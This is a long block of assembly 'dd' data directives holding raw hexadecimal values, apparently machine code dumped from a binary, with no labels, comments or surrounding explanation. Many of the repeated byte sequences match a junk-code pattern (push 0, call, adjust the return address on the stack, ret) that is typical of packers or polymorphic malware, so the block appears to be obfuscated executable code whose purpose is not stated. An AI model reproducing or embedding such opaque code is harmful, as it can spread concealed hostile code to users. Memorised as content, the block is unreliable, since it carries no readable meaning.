		dd 6650B1FCh, 89101CBBh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 607553C3h, 0E8175784h
		dd 0FFF799AAh, 0AA291B5h, 0CDBD8B06h, 0FF06071Dh, 71DE195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 64D857EFh, 20799D2Bh, 0B58B0607h, 60AA285h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D0C35747h
		dd 54232FC9h, 0F52605Fh, 86h, 0FA8B5A00h, 0A5858B61h, 66060720h
		dd 89722ABFh, 0C486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 2D8795A4h, 1958B40h, 6A06070Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F31C350h, 685h, 0F5BD8B00h, 8306071Dh, 11E904C2h
		dd 7E000000h, 1BB639CEh, 0B5B5C75Eh, 6674571Bh,	142B4A4Fh
		dd 6A205089h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 3E65C350h, 0B5BC858Dh,	8689060Ah
		dd 0B8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	46C35242h, 0B5295607h, 6071E81h, 0EB81006Ah, 6FCF4652h
		dd 0A291B5FFh, 6A060Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0EBE2A0C3h, 0BD897D1Bh, 6070141h
		dd 0FFF98B66h, 7028595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0E9A20F56h, 9E93Eh, 30FD0000h
		dd 0F54DBF8Bh, 50CDFD0Bh, 348920B3h, 8E824h, 0C14D0000h
		dd 63ED9637h, 9D8B3DABh, 60720E1h, 0DE52BF5Fh, 0B5FF6E7Ch
		dd 60AA291h, 8E9h, 90513900h, 628975F2h, 85B5896Bh, 0FF06072Ch
		dd 7115595h, 0FE8B6606h, 6DDBD83h, 0F000607h, 4284h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0BF66960Eh, 0E8505D49h, 0Ah,	3591FD87h, 0CE8F1B8Dh
		dd 810FB0F8h, 3, 5FFA8B66h, 39BD8B96h, 0FF060701h, 0AA291B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0F3806E40h, 9E904h, 0FDD20000h, 7824B00Eh
		dd 8B971444h, 70AB5BDh,	0F195FF06h, 0BF06071Bh,	0AD45052h
		dd 0B5FFADB3h, 60AA291h, 11E9h,	7DB99400h, 0BBDFB591h
		dd 6FB2AA33h, 5673206Bh, 95FF2ACAh, 6071AF5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 16C35343h, 2912EE64h
		dd 0C34B5C04h, 0F5BD83F9h, 2060719h, 74840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 662BD0C3h, 8B424ABBh, 71A2985h, 0FE906h, 8E590000h
		dd 0F52872CAh, 945ACF78h, 698A042Fh, 0C644h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 81C35646h, 0A8946DF8h
		dd 8C2A1229h, 2F358D89h, 7E90607h, 0F9000000h, 0A8CE3FD4h
		dd 85C7CB93h, 6070D09h,	0
		dd 599B501h, 88E90607h,	8BFFFFF4h, 700F99Dh, 0E9C18B06h
		dd 12h,	85F3AFA2h, 0FBC4DB06h, 1C22710Fh, 18057CA1h, 858D6798h
		dd 6072C61h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	3C35646h, 14F8A24Ch, 50CAE13Bh,	14E8h, 3CC75F00h
		dd 0C2CC59E8h, 0A60E3BEBh, 0E100B598h, 55DF4FA1h, 0FFBB66D8h
		dd 4895B8Bh, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BD8B93DFh, 6071209h, 0CE8006Ah
		dd 5F000000h, 2AE769FFh, 6952360Fh, 5BD67CFCh, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 7C9FCFC3h, 39789F6Bh, 9D335128h, 6070A55h, 59D8B5Fh
		dd 8D06071Ah, 0B7BEB85h, 0D59D0B06h, 83060731h,	9D8B05C0h
		dd 60715A9h, 7E950h, 0CBD20000h, 4EB2637Eh, 24048956h
		dd 2E7D9589h, 6A0607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 7C35343h, 0FE54F87h, 0C85h, 68F0F00h
		dd 0F000000h, 8Dh, 0FEB70F00h, 6A006Ah,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 173718C3h
		dd 0ABBE381h, 95FF0E6Dh, 6071335h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 5C35747h, 8DE27FE9h, 0A939D8Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0F381D275h, 6F562D93h, 6AD1FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 557A8AC3h, 9CE8E95h,	0B1BD83DBh, 1060732h, 7A850Fh
		dd 0BD230000h, 6071791h, 9D8B026Ah, 6072401h, 8E990h, 73A50000h
		dd 0DAEC3D45h, 0B350C402h, 6A90D7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D9F028C3h
		dd 242FB436h, 0E99DD999h, 6, 182EB038h,	81664D7Bh, 0FF60ADDFh
		dd 7028595h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 7EF96CDCh, 0C62E9h, 0E800h, 815D0000h
		dd 0B7BF5EDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0DE8B66B8h, 1C559D8Bh, 858D0607h
		dd 60A8603h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0E7C35343h, 56662D25h, 5F40FB27h, 0AF35CBBFh, 0CCF3803Dh
		dd 13E950h, 0CA3A0000h,	0E076F566h, 84A1144Eh, 0E873B2C6h
		dd 42AA63F6h, 240489DBh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0AFC35343h, 70A636EBh, 0FF642965h, 35h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0A880F2Fh, 60000000h, 0B5016160h, 6070F31h
		dd 7E861h, 55CE0000h, 15FEC781h, 89645F48h, 25h, 20CB8100h
		dd 0FF770AD9h, 72C8985h, 95953106h, 6A06071Ch, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 810EBE97h, 6DD96DDFh, 0D5B5FF65h, 89060713h,	71D7DBDh
		dd 3D95FF06h, 0E9060721h, 10Ah,	4A1F71BFh, 8B00B03Bh, 703059Dh
		dd 0F70E606h, 68Ah, 6DB58900h, 0E406072Dh, 79858971h, 80060721h
		dd 613CC5F7h, 0DC830Fh,	11E80000h, 0BF000000h, 6C360164h
		dd 0AA260EBBh, 64F81297h, 0EA651398h, 32AD9D8Bh, 0F5B0607h
		dd 0B589C8B6h, 6070695h, 6BAh, 0B19D2900h, 8B060700h, 0C1FB8BC1h
		dd 0BD3304E8h, 60712C5h, 1FF1BD8Bh, 0F7660607h,	15BD8BE2h
		dd 2B060729h, 0E99D8BC8h, 8B06072Dh, 6870FD1h, 8B000000h
		dd 7048D9Dh, 0DE906h, 8E90000h,	3C000000h, 10FF90D4h, 8B399CC1h
		dd 72DBD85h, 2DBD0906h,	83060728h, 0BF6607C0h, 0C083226Ch
		dd 25BD8B00h, 3B060704h, 6830FD0h, 0E9000000h, 3Eh, 3D8D8BF9h
		dd 83060701h, 840F01E1h, 2Eh, 83DF8B66h, 7013DA5h, 0BD8BFE06h
		dd 607272Dh, 9344C381h,	95894A0Fh, 6072DBDh, 8E9h, 0E2962200h
		dd 0EDBA55D1h, 0E93Fh, 0B58D0000h, 60AF08Fh, 0DED8D31h
		dd 6A0607h, 0FFF88B66h,	71B6995h, 0E5BD3106h, 0B9060706h
		dd 874h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 16h,	4CC35545h, 9D034127h, 60704E1h,	89FCE183h, 71E8195h
		dd 6AFC06h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 6ED727C3h, 8AFB8B66h, 0B8DCh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0A501E5C3h, 0BA60AAC9h, 0
		dd 0ADFA8B66h, 0E8D1C233h, 0E983D003h, 8BF47504h, 0C59D8BF8h
		dd 0E8060704h, 0Ch, 0CC41F32Bh,	3E63AA4Ah, 0E4F2B9D3h
		dd 1C35BD33h, 0D5B0607h, 88h, 8BDFB70Fh, 70A0195h, 9D295106h
		dd 60704E1h, 0A58D8B5Bh, 57060714h, 0CFB450BFh,	0C7815B2Fh
		dd 5C4F7B1Bh, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD8BBDC3h, 60711F9h, 2FF9BD83h, 0F000607h
		dd 4C84h, 0EE900h, 8CB20000h, 2EA72CEAh, 644588E5h, 3423CF17h
		dd 0B8h, 4A8D8D00h, 6A06074Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0B582C351h,	66DE8B66h
		dd 0E1FFDE8Bh, 89D88B66h, 71419BDh, 0D5BD8306h,	6072Fh
		dd 456840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 83F93AC3h, 72FD5BDh, 840F0106h
		dd 447h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	4EC35646h, 0D8878A62h, 0BD83A174h, 6072FD5h, 0E2860F03h
		dd 8B000003h, 71C1DBDh,	6A6006h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 298084C3h, 9278727Ah
		dd 85895132h, 6072C8Dh,	0D98C665Bh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 2FC35343h, 3DD48716h, 64FBCB25h
		dd 2CF59D29h, 0E1800607h, 0DFBF0F04h, 840FC90Ah, 148h
		dd 28A0Fh, 0A6B70000h, 0EF1858Bh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0CF012FC3h
		dd 698533EDh, 60060715h, 89D18B66h, 71AED8Dh, 60906106h
		dd 0A2E2BA66h, 0B05B5160h, 506161D5h, 6090FA8Ah, 6098D2Bh
		dd 8C0F0607h, 19h, 14E9h, 4F3FDB00h, 32C99D8Dh,	0DAB2779Eh
		dd 8E3B6BC8h, 942D3394h, 6A61E8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 7CC35040h, 51F65667h, 35CC5A57h
		dd 0ADBD8B5Ah, 81060709h, 0AFAEA2F7h, 0DE496841h, 0DE8BFB53h
		dd 0B6240481h, 0F04CB25h, 68Dh,	0ED9D8B00h, 0FF06072Eh
		dd 7056195h, 0AAC78106h, 89452511h, 71BF985h, 91858906h
		dd 6A060AA2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E834C357h, 12h, 13D27A89h, 80557767h
		dd 0EBC4CB90h, 9C9F2F35h, 816614BFh, 5F63FFC3h,	99B589h
		dd 0D7E90607h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0A764C357h,	32C99D33h
		dd 9D890607h, 6070045h,	0A289858Bh, 6A060Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DB1A25C3h
		dd 0BD8BC578h, 6071309h, 1800C7h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B58B4CC3h
		dd 60AA28Dh, 0FE9h, 849E8100h, 0B3978185h, 4EA3414h, 0C73D6E67h
		dd 1C7D858Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 18ACB4C3h, 894A8ED9h, 9E806h, 0A5D70000h
		dd 0AFA1C1CFh, 60DD80B8h, 1AEF680h, 706E585h, 8B5B6106h
		dd 70EF185h, 7325BB06h,	46895004h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8B66DBA6h
		dd 0C38166FEh, 895005BDh, 0B5FF2434h, 60AA289h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BDC35343h, 46A9D34h
		dd 68C49FE7h, 6B8FC08Dh, 81FA8B66h, 0C3722434h,	858D6B90h
		dd 60AA291h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0FC35242h, 152F0BCFh, 8119834Fh, 8580E8E3h, 840F503Bh
		dd 4, 5B5F5652h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0FEDC350h, 685h, 0F5953100h
		dd 0FF060726h, 7056195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 881A20FCh, 0F88B2C30h
		dd 4C19D8Bh, 6A610607h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0DD8FC357h,	0AC6CBFBCh
		dd 85C72145h, 6072FD5h,	3, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 71C35242h, 6052250Ah,	1A4D958Bh, 23600607h
		dd 71FB59Dh, 2DB50906h,	61060716h, 91BD8361h, 60AA2h, 0F840Fh
		dd 0BF660000h, 21E9D290h, 81000000h, 4CD25CCFh,	0C305041h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	14E9h
		dd 9E772A00h, 5EF71322h, 6CD62C0Bh, 178C555Bh, 0C13124C7h
		dd 14E85033h, 9B000000h, 91C7BA47h, 0E95E653Fh,	0C6E95AE2h
		dd 1E82AE8Dh, 605DBB31h, 835F5B61h, 72FD5BDh, 850F0306h
		dd 3B0h, 12E9h,	9EC8F700h, 5899C50Dh, 44556317h, 47F39113h
		dd 83AC7D82h, 0AA291BDh, 840F0006h, 38Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0AC35646h, 0DABD0998h
		dd 8ABF11C9h, 0FF3532A6h, 0AA291B5h, 499D3106h,	0FF060703h
		dd 7164195h, 9E806h, 3AB00000h,	31EE15CCh, 894EF26Bh, 70F4D8Dh
		dd 0B58B5F06h, 60AA285h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0C6C35646h, 6C7F5ECh,	10001h,	9FE1E381h
		dd 509622EFh, 11E860h, 3AB10000h, 992CA453h, 91106F11h
		dd 5E6EB632h, 0E9BD513Ch, 12h, 0BF208762h, 1EE68748h, 3CD7450Dh
		dd 0BF964918h, 0B25E1CAEh, 6A966184h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7B33C352h
		dd 3CD4881Eh, 8BDD9667h, 728259Dh, 91B5FF06h, 6A060AA2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 647CC355h, 0DE9ECh, 96DA0000h, 0EB20738Ah
		dd 7ED2E721h, 0FF07A9A4h, 71DE195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 1873E2D8h
		dd 0F798EC6h, 9589450Fh, 6071E81h, 8BDEB70Fh, 0AA285B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 6D7434EEh, 0A98D2998h, 8B060730h, 720A585h
		dd 0D1B26006h, 18870Fh,	13E90000h, 25000000h, 3912DE8Eh
		dd 2B7DFB62h, 0D20F0671h, 467C0C16h, 89611D4Bh,	0C486h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 1585200Dh, 0A01958Bh, 11E80607h,	0FC000000h
		dd 3BF345E1h, 15FA05B6h, 0B33CA06Ch, 25C2DABh, 835FD98Ah
		dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 41543DC3h, 1A606B2Fh, 89BD8948h, 8906071Ah
		dd 0B5312050h, 6070A21h, 0B5BC858Dh
		dd 9531060Ah, 60715B1h,	1785B589h, 86890607h, 0B8h, 4860Fh
		dd 0BF660000h, 9D093367h, 60719D9h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 54957BC3h
		dd 288ABDB9h, 9D311CFDh, 6072099h, 0A291B5FFh, 0BD8B060Ah
		dd 6070795h, 28595FFh, 0BD890607h, 6072C3Dh, 6870Fh, 0C3810000h
		dd 5539A247h, 89FE8B50h, 8D892434h, 60702DDh, 0A291B5FFh
		dd 95FF060Ah, 6071155h,	0D3816651h, 835F7646h, 706DDBDh
		dd 840F0006h, 11h, 2C18589h, 89500607h,	0BD332434h, 6070149h
		dd 91B5FFFCh, 8B060AA2h, 723B19Dh, 0F195FF06h, 106071Bh
		dd 714D195h, 91B5FF06h,	6A060AA2h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4EAC353h
		dd 0C73D6E67h, 0F9F7812Ah, 942B1A5h, 73145B5h, 0F595FF06h
		dd 0E906071Ah, 11h, 80A221Fh, 4817B7F1h, 9241C16Fh, 518C821h
		dd 0F5BD83ECh, 2060719h, 30840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 202418C3h
		dd 81AEB672h, 5E057DCFh, 29858B7Ch, 0C606071Ah,	85C70000h
		dd 6070D09h, 0
		dd 27558D89h, 8B600607h, 723F58Dh, 0D5852B06h, 61060717h
		dd 0FFF4A2E9h, 8BF98BFFh, 81B509C1h, 8D060717h,	72C6185h
		dd 5E906h, 0F1B40000h, 908FEE8Bh, 0DE8h, 8BEAA500h, 38E55E09h
		dd 6EEA86C4h, 0DA8BEC0Ah, 0AE8505Bh, 20000000h,	89A76D1Dh
		dd 0B1621FACh, 9E900h, 8A730000h, 5C3D758Eh, 5F2EC1B2h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0B3BB6643h, 6A006AF5h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 74F4C350h
		dd 88F071ADh, 0BF1C9B66h, 9760787h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 12FB7C3h
		dd 12E8CFh, 0C68E0000h,	9D1B4B94h, 0CE9EEB77h, 85EE6119h
		dd 2D1C8ED3h, 12E99D01h, 8D5B0607h, 0B8AA185h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 9D0BCBC5h, 6072D51h,	6A05C083h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 12E0C351h
		dd 76053A1Bh, 0FAA1570h, 184h, 5090FC00h, 68E0Fh, 52500000h
		dd 585A310Fh, 8EB7505Bh, 10E990h, 5EE80000h, 7D99336h
		dd 2BADB633h, 0A4B55441h, 6A631Eh, 4318D89h, 6A0607h, 1A759D8Bh
		dd 95FF0607h, 6071335h,	8166FC60h, 6162EEDBh, 939D8D8Dh
		dd 0BD01060Ah, 6072E89h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0B360A8C3h, 119D8B3Ch
		dd 8306071Dh, 732B1BDh,	850F0106h, 0A2h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0CEC35242h, 62F268Dh
		dd 0BB66FBADh, 26A99A9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 31C35242h, 50335ACCh,	10E8h, 0C0A97700h
		dd 0CBC26C0Fh, 0F092B60Eh, 5BEFC63h, 848CBF32h,	895B4F78h
		dd 95292404h, 6072CFDh,	28595FFh, 6A0607h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 4497FCC3h
		dd 68B0Fh, 95090000h, 60706F5h,	1A4D8D89h, 51E90607h, 0E800000Dh
		dd 0
		dd 0ABED815Dh, 6A060B8Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 331CC350h, 2126E735h
		dd 812FCC94h, 0ABC5F2EBh, 55006A09h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 2537662Ch
		dd 95890C3Dh, 6070B85h,	8603858Dh, 8B66060Ah, 5E9F8h, 37F0000h
		dd 90D26898h, 6650FA8Bh, 90CFEDBBh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0C5C35242h,	0D998094h, 0B1BAC186h
		dd 0FF64DA8Bh, 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 33A86EF8h, 25896461h
		dd 0
		dd 0A5D9E381h, 85FF6EFDh, 6072C89h, 0BE8h, 4108FA00h, 2EED431Bh
		dd 3BF05AF3h, 99D8B60h,	60060706h, 6A5B6161h, 0EF8166FFh
		dd 0B5FF1E86h, 6070B09h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0AEC35545h, 68C0Fh, 8D890000h, 60732B5h
		dd 213D95FFh, 4E90607h,	66000001h, 0B0C1F1BFh, 0CE900h
		dd 0F8170000h, 0E3B63133h, 9EEA1618h, 70E6A83Fh, 599131BBh
		dd 2371E469h, 70F4D9Dh,	0F613C06h, 0D683h, 0D9BF0F00h
		dd 66C8B60Fh, 0BBB222BFh, 62534C5Ah, 6BAh, 819D8900h, 8B060717h
		dd 29BF66C1h, 4E8C195h,	23DDBD8Bh, 0F7660607h, 9D8960E2h
		dd 6072639h, 1CF5858Bh,	2B610607h, 14E8C8h, 0F2B20000h
		dd 588218EFh, 0A9C64D76h, 0C8D92A41h, 702BF620h, 0AFB356B0h
		dd 81D18B5Fh, 20263BCBh, 5E96Ah, 0CCBF0000h, 8B6AB7A6h
		dd 7274985h, 6E906h, 236D0000h,	0F7B80C12h, 2907C083h
		dd 72D0DBDh, 0C08306h, 23DDBD89h, 0D03B0607h, 0B830Fh
		dd 0B5890000h, 6070D19h, 36E9h,	0F18D8B00h, 81060714h
		dd 996728C7h, 55BD8B33h, 83060717h, 840F01E1h, 1Bh, 2835BD31h
		dd 0A5830607h, 60714F1h, 499589FEh, 0F060727h, 0E9FEBFh
		dd 8D000000h, 0AFADDB5h, 42ECBF06h, 6A2730h, 12559D8Bh
		dd 0DF8B0607h, 1B6995FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0D4CB80C3h, 70BB4E91h
		dd 0EFB910A0h, 66000007h, 0F5EEC781h, 6AFCE183h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 6318C356h, 314C2564h, 71515B5h, 0FCDC8A06h, 11799D89h
		dd 0BD230607h, 60711A1h, 0B8h, 11E800h,	0C56F0000h, 0B9B32A23h
		dd 48E18992h, 0E9A78D09h, 0F4586C9h, 486h, 0BBF6600h, 0BA5FDFh
		dd 8B000000h, 70EEDBDh,	68E0F06h, 31000000h, 7282D85h
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 44D381F4h, 6A245D26h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 8C9CC356h, 880D2Ch, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 9C52DBC3h
		dd 9D8B34E0h, 60719D9h,	0A01958Bh, 8B510607h, 704919Dh
		dd 0BD8B5B06h, 6073185h, 14A58D8Bh, 0F1B30607h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 4DA1EFC3h
		dd 349003B7h, 0E99262C6h, 10h, 7E4880DDh, 664C6742h, 353A7D7h
		dd 0C96EBB0Ch, 2FF9BD83h, 0F000607h, 8D84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0B5F2D0E0h, 2147A8F2h, 0FBD3806Bh, 0B8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 9997B771h, 0D55FEDDAh, 9DBD3369h, 81060709h,	0FDD43CE3h
		dd 4A8D8D7Eh, 5306074Bh, 6AE1FF5Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0AFC0C352h
		dd 0FA0AA461h, 8B0Fh, 0BD830000h, 6072FD5h, 21840F00h
		dd 89000004h, 7151D95h,	0D5BD8306h, 106072Fh, 429840Fh
		dd 0BF660000h, 0BD832DB3h, 6072FD5h, 0E2860F03h, 8B000003h
		dd 70F4DBDh, 8F0F6006h,	1, 8BF560FCh, 7045985h,	8C666106h
		dd 7D9D89D9h, 80060705h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0CC9857C3h, 89B589F3h
		dd 8B060702h, 717799Dh,	0FC90A06h, 16884h, 8BDE8A00h, 70EF185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 812A595Eh, 0BCE59ACEh, 0B509F171h, 60711F1h
		dd 15698533h, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 96656C3h, 4B2C8E23h, 0FFEB81F3h
		dd 903F7B8Ch, 50F88B66h, 58576050h, 53DF10B8h, 905B613Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 59C35040h
		dd 59589A9h, 6A060713h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0C542E470h, 0DCEFC868h
		dd 81DC8A2Dh, 0EC372434h, 6A2DC3h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 4E9776C3h, 95FF67E1h
		dd 6070561h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	74C35545h, 0F8BF0F48h, 30E78166h, 91858900h, 6A060AA2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 6C14C357h, 0F0011691h, 864A0078h,	10198589h
		dd 0DBE90607h, 6A000001h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 3A4C351h, 87DE3D2Fh
		dd 89858BACh, 0E9060AA2h, 0Dh, 0CAF4DA16h, 7804D590h, 76E8F3A4h
		dd 1800C75Dh, 89000000h, 70F099Dh, 0DED78106h, 8B28432Dh
		dd 0AA28DB5h, 6D958906h, 8B06071Ch, 71C7D85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 5FE58F18h, 66C6FB5Dh, 0E960FB8Bh, 14h, 14BF9C9Fh, 0B2733CE0h
		dd 0A77263BEh, 0E12F17C4h, 0C5DC3476h, 0A99B58Bh, 89610607h
		dd 6E9FC06h, 86000000h,	5683D64Dh, 0F1858B5Ah, 6A06070Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 1A3AC353h, 609E457Ah, 659D8917h, 89060731h
		dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 94CFB2C3h, 0E19663C2h, 4F85C781h,	66600658h
		dd 0F53DA8Bh, 85h, 81615900h, 0D05985C3h, 0D88B9616h, 0BD239650h
		dd 6072D41h, 0A289B5FFh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 9D0B13C3h, 60719B9h
		dd 8E950h, 0C9C00000h, 57C16D3Fh, 685BC34Ah, 3F34F4FBh
		dd 7E9h, 0CB083400h, 4291805Ch,	4243481h, 6A3F2BF7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 7FACC357h, 57B6CD4Fh, 858DCF69h, 60AA291h, 0BF5090F9h
		dd 0B008E3Ch, 89853190h, 0FF060712h, 7056195h, 56006A06h
